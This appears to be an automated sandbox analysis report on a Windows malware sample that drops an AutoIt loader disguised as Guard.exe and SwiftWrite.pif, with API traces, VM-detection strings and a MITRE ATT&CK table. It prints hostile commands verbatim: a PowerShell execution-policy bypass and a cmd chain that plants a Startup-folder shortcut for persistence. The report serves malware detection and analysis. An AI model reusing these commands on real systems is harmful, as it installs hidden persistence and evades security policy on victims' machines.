Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3447Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6369Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4827Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4928Jump to behavior
Source: C:\Users\Public\Guard.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeAPI coverage: 3.7 %
Source: C:\Users\Public\Guard.exeAPI coverage: 4.8 %
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifAPI coverage: 4.5 %
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692Thread sleep time: -11990383647911201s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7712Thread sleep time: -1844674407370954s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840Thread sleep count: 4827 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7844Thread sleep count: 4928 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7868Thread sleep time: -19369081277395017s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53EC7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,1_2_00007FF6A53EC7C0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53FA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,1_2_00007FF6A53FA874
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53FA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,1_2_00007FF6A53FA4F8
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53FA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,1_2_00007FF6A53FA350
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53F6428 FindFirstFileW,FindNextFileW,FindClose,1_2_00007FF6A53F6428
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53B2F50 FindFirstFileExW,1_2_00007FF6A53B2F50
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53EB7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,1_2_00007FF6A53EB7C0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53F72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,1_2_00007FF6A53F72A8
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53F71F4 FindFirstFileW,FindClose,1_2_00007FF6A53F71F4
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53EBC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,1_2_00007FF6A53EBC70
Source: C:\Users\Public\Guard.exeCode function: 7_2_00664005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,7_2_00664005
Source: C:\Users\Public\Guard.exeCode function: 7_2_0066494A GetFileAttributesW,FindFirstFileW,FindClose,7_2_0066494A
Source: C:\Users\Public\Guard.exeCode function: 7_2_0066C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,7_2_0066C2FF
Source: C:\Users\Public\Guard.exeCode function: 7_2_0066CD14 FindFirstFileW,FindClose,7_2_0066CD14
Source: C:\Users\Public\Guard.exeCode function: 7_2_0066CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,7_2_0066CD9F
Source: C:\Users\Public\Guard.exeCode function: 7_2_0066F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,7_2_0066F5D8
Source: C:\Users\Public\Guard.exeCode function: 7_2_0066F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,7_2_0066F735
Source: C:\Users\Public\Guard.exeCode function: 7_2_0066FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,7_2_0066FA36
Source: C:\Users\Public\Guard.exeCode function: 7_2_00663CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,7_2_00663CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000F4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,12_2_000F4005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000F494A GetFileAttributesW,FindFirstFileW,FindClose,12_2_000F494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000FC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,12_2_000FC2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000FCD14 FindFirstFileW,FindClose,12_2_000FCD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000FCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,12_2_000FCD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000FF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,12_2_000FF5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000FF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,12_2_000FF735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000FFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,12_2_000FFA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000F3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,12_2_000F3CE2
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5391D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,1_2_00007FF6A5391D80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: powershell.exe, 00000005.00000002.1474079821.000001D3EB1C5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}.
Source: powershell.exe, 00000005.00000002.1474079821.000001D3EB170000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
Source: Guard.exe, 00000007.00000002.2555604381.0000000003F79000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif, 0000000C.00000002.2555586755.00000000042C6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\Public\Guard.exeAPI call chain: ExitProcess graph end node
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5400A00 BlockInput,1_2_00007FF6A5400A00
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53737B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,1_2_00007FF6A53737B0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5395BC0 GetLastError,IsDebuggerPresent,OutputDebugStringW,1_2_00007FF6A5395BC0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A540AF20 LoadLibraryA,GetProcAddress,1_2_00007FF6A540AF20
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53B4318 GetProcessHeap,1_2_00007FF6A53B4318
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53AAF58 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00007FF6A53AAF58
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53B8FE4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_00007FF6A53B8FE4
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53957E4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00007FF6A53957E4
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53959C8 SetUnhandledExceptionFilter,1_2_00007FF6A53959C8
Source: C:\Users\Public\Guard.exeCode function: 7_2_0062A354 SetUnhandledExceptionFilter,7_2_0062A354
Source: C:\Users\Public\Guard.exeCode function: 7_2_0062A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,7_2_0062A385
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000BA354 SetUnhandledExceptionFilter,12_2_000BA354
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000BA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_000BA385

HIPS / PFW / Operating System Protection Evasion

barindex
Bypasses PowerShell execution policy
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53DCE68 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,1_2_00007FF6A53DCE68
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53737B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,1_2_00007FF6A53737B0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5394514 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,1_2_00007FF6A5394514
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5402464 mouse_event,1_2_00007FF6A5402464
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 Jump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"Jump to behavior
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exit
Source: C:\Users\Public\Guard.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exitJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53DC5FC GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,1_2_00007FF6A53DC5FC
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53DD540 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,1_2_00007FF6A53DD540
Source: l5VhEpwzJy.exe, Guard.exe.2.dr, SwiftWrite.pif.7.drBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: l5VhEpwzJy.exe, Guard.exe, SwiftWrite.pifBinary or memory string: Shell_TrayWnd
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53AFD20 cpuid 1_2_00007FF6A53AFD20
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53D2BA0 GetLocalTime,1_2_00007FF6A53D2BA0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53D2BCF GetUserNameW,1_2_00007FF6A53D2BCF
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53B2650 _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,1_2_00007FF6A53B2650
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5391D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,1_2_00007FF6A5391D80
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D2E58000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Users\Public\Guard.exe
Source: Guard.exe, 00000007.00000002.2553485571.0000000001358000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \Device\HarddiskVolume3\Users\Public\Guard.exe
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D2E58000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Public\Guard.exe
Source: powershell.exe, 00000005.00000002.1474079821.000001D3EB170000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1474079821.000001D3EB186000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000007.00000003.1461131491.0000000004BF0000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 00000007.00000003.1461233212.0000000004AF1000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif, 0000000C.00000003.1649044041.0000000003700000.00000004.00000800.00020000.00000000.sdmp, SwiftWrite.pif, 0000000C.00000003.1626869108.0000000003700000.00000004.00000800.00020000.00000000.sdmp, SwiftWrite.pif, 0000000C.00000003.1648776697.0000000003700000.00000004.00000800.00020000.00000000.sdmp, SwiftWrite.pif, 0000000C.00000003.1648916696.0000000003700000.00000004.00000800.00020000.00000000.sdmp, SwiftWrite.pif, 0000000C.00000003.1649657496.0000000003700000.00000004.00000800.00020000.00000000.sdmp, SwiftWrite.pif, 0000000C.00000003.1648668581.0000000003700000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Guard.exe
Source: powershell.exe, 00000005.00000002.1472718454.000001D3EAFF1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: user-PCic\Guard.exe
Source: l5VhEpwzJy.exe, 00000001.00000002.1383303936.000002631AE20000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1436744957.000001D3D2E58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1474079821.000001D3EB1C5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1436744957.000001D3D2C77000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1474079821.000001D3EB186000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, Guard.exe, 00000007.00000002.2553346859.00000000011BF000.00000004.00000010.00020000.00000000.sdmp, Guard.exe, 00000007.00000002.2553346859.00000000011CF000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: C:\Users\Public\Guard.exe
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D2E58000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: \Users\Public\Guard.exe
Source: SwiftWrite.pifBinary or memory string: WIN_81
Source: SwiftWrite.pifBinary or memory string: WIN_XP
Source: SwiftWrite.pifBinary or memory string: WIN_XPe
Source: SwiftWrite.pifBinary or memory string: WIN_VISTA
Source: l5VhEpwzJy.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Source: SwiftWrite.pifBinary or memory string: WIN_7
Source: SwiftWrite.pifBinary or memory string: WIN_8
Source: SwiftWrite.pif.7.drBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5404074 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,1_2_00007FF6A5404074
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5403940 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,1_2_00007FF6A5403940
Source: C:\Users\Public\Guard.exeCode function: 7_2_0067696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,7_2_0067696E
Source: C:\Users\Public\Guard.exeCode function: 7_2_00676E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,7_2_00676E32
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_0010696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,12_2_0010696E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_00106E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,12_2_00106E32

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting		2
Valid Accounts		2
Native API		1
Scripting		1
Exploitation for Privilege Escalation		1
Disable or Modify Tools		21
Input Capture		2
System Time Discovery		Remote Services1
Archive Collected Data		12
Ingress Tool Transfer		Exfiltration Over Other Network Medium1
System Shutdown/Reboot
CredentialsDomainsDefault Accounts1
Command and Scripting Interpreter		1
DLL Side-Loading		1
DLL Side-Loading		1
Deobfuscate/Decode Files or Information		LSASS Memory1
Account Discovery		Remote Desktop Protocol21
Input Capture		1
Encrypted Channel		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts3
PowerShell		2
Valid Accounts		2
Valid Accounts		2
Obfuscated Files or Information		Security Account Manager2
File and Directory Discovery		SMB/Windows Admin Shares3
Clipboard Data		2
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCron2
Registry Run Keys / Startup Folder		21
Access Token Manipulation		1
DLL Side-Loading		NTDS26
System Information Discovery		Distributed Component Object ModelInput Capture22
Application Layer Protocol		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script12
Process Injection		311
Masquerading		LSA Secrets41
Security Software Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts2
Registry Run Keys / Startup Folder		2
Valid Accounts		Cached Domain Credentials21
Virtualization/Sandbox Evasion		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items21
Virtualization/Sandbox Evasion		DCSync3
Process Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
Access Token Manipulation		Proc Filesystem11
Application Window Discovery		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
